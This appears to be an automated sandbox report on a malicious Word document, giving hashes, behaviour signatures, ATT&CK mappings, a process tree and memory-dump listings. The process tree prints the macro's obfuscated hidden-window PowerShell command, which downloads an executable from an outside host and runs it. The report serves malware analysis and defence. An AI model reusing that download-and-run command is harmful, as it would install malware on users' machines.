5607c606b518b92077a4652948b79835b787177836af61f3cd530eea7e63254a

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-11-2024 05:01

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General

Target

5607c606b518b92077a4652948b79835b787177836af61f3cd530eea7e63254a.doc
Size

69KB
MD5

2d9d347f7fa64d7b91025e2a12bc11a3
SHA1

29bbc0501fb019c55c57a280d89c18fb74af1777
SHA256

5607c606b518b92077a4652948b79835b787177836af61f3cd530eea7e63254a
SHA512

e4d5eadfda1b58e9181fca515b90a7d92047c0026305b013d03a4066dfb5d3f0b3f1806c987624b19adfd4d776fb152a82fa85d176c8b78341bc132f7e3a3d72
SSDEEP

768:Z45GzFf7SckrjwoLMkk6hc1r8OLoTWnXeJ75yrWj89y/qBj1Ix:Z/Rf7S8oLVkicpLdTrWj1qBBq

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2428	1628	cmd.exe	WINWORD.EXE

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2584 powershell.exe
2584 powershell.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE

pid	process
2584	powershell.exe
2584	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

WINWORD.EXEcmd.exepowershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1628 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2584 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2584 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1628 WINWORD.EXE
1628 WINWORD.EXE

pid	process
1628	WINWORD.EXE

pid	process
2584	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2584	powershell.exe

pid	process
1628	WINWORD.EXE
1628	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 1628 wrote to memory of 2428	1628	WINWORD.EXE	cmd.exe
PID 1628 wrote to memory of 2428	1628	WINWORD.EXE	cmd.exe
PID 1628 wrote to memory of 2428	1628	WINWORD.EXE	cmd.exe
PID 1628 wrote to memory of 2428	1628	WINWORD.EXE	cmd.exe
PID 2428 wrote to memory of 2584	2428	cmd.exe	powershell.exe
PID 2428 wrote to memory of 2584	2428	cmd.exe	powershell.exe
PID 2428 wrote to memory of 2584	2428	cmd.exe	powershell.exe
PID 2428 wrote to memory of 2584	2428	cmd.exe	powershell.exe
PID 1628 wrote to memory of 2112	1628	WINWORD.EXE	splwow64.exe
PID 1628 wrote to memory of 2112	1628	WINWORD.EXE	splwow64.exe
PID 1628 wrote to memory of 2112	1628	WINWORD.EXE	splwow64.exe
PID 1628 wrote to memory of 2112	1628	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5607c606b518b92077a4652948b79835b787177836af61f3cd530eea7e63254a.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1628
- C:\Windows\SysWOW64\cmd.exe
  cmd /c pOwERsHELl -Ex bYpasS -NOp -w hiDdEn inVOKE-WebRequEsT -uri 'https://alexanu.com/vnvnomcry.exe' -ouTfIlE '%ApPdAtA%\vnomt.exe' ; iNVOkE-ITeM '%APPDAtA%\vnomt.exe'
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2428
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    pOwERsHELl -Ex bYpasS -NOp -w hiDdEn inVOKE-WebRequEsT -uri 'https://alexanu.com/vnvnomcry.exe' -ouTfIlE 'C:\Users\Admin\AppData\Roaming\vnomt.exe' ; iNVOkE-ITeM 'C:\Users\Admin\AppData\Roaming\vnomt.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2584
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1628-0-0x000000002FD71000-0x000000002FD72000-memory.dmp

Filesize
4KB

Download
memory/1628-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1628-2-0x0000000070E1D000-0x0000000070E28000-memory.dmp

Filesize
44KB

Download
memory/1628-5-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-50-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-49-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-4-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-15-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-24-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-29-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-41-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-20-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-51-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-48-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-47-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-46-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-45-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-44-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-43-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-40-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-39-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-37-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-38-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-36-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-35-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-34-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-33-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-32-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-31-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-30-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-28-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-27-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-26-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-25-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-23-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-22-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-21-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-19-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-18-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-17-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-16-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-14-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-13-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-11-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-10-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-9-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-8-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-7-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-6-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-55-0x0000000070E1D000-0x0000000070E28000-memory.dmp

Filesize
44KB

Download
memory/1628-56-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download
memory/1628-57-0x0000000000360000-0x0000000000460000-memory.dmp

Filesize
1024KB

Download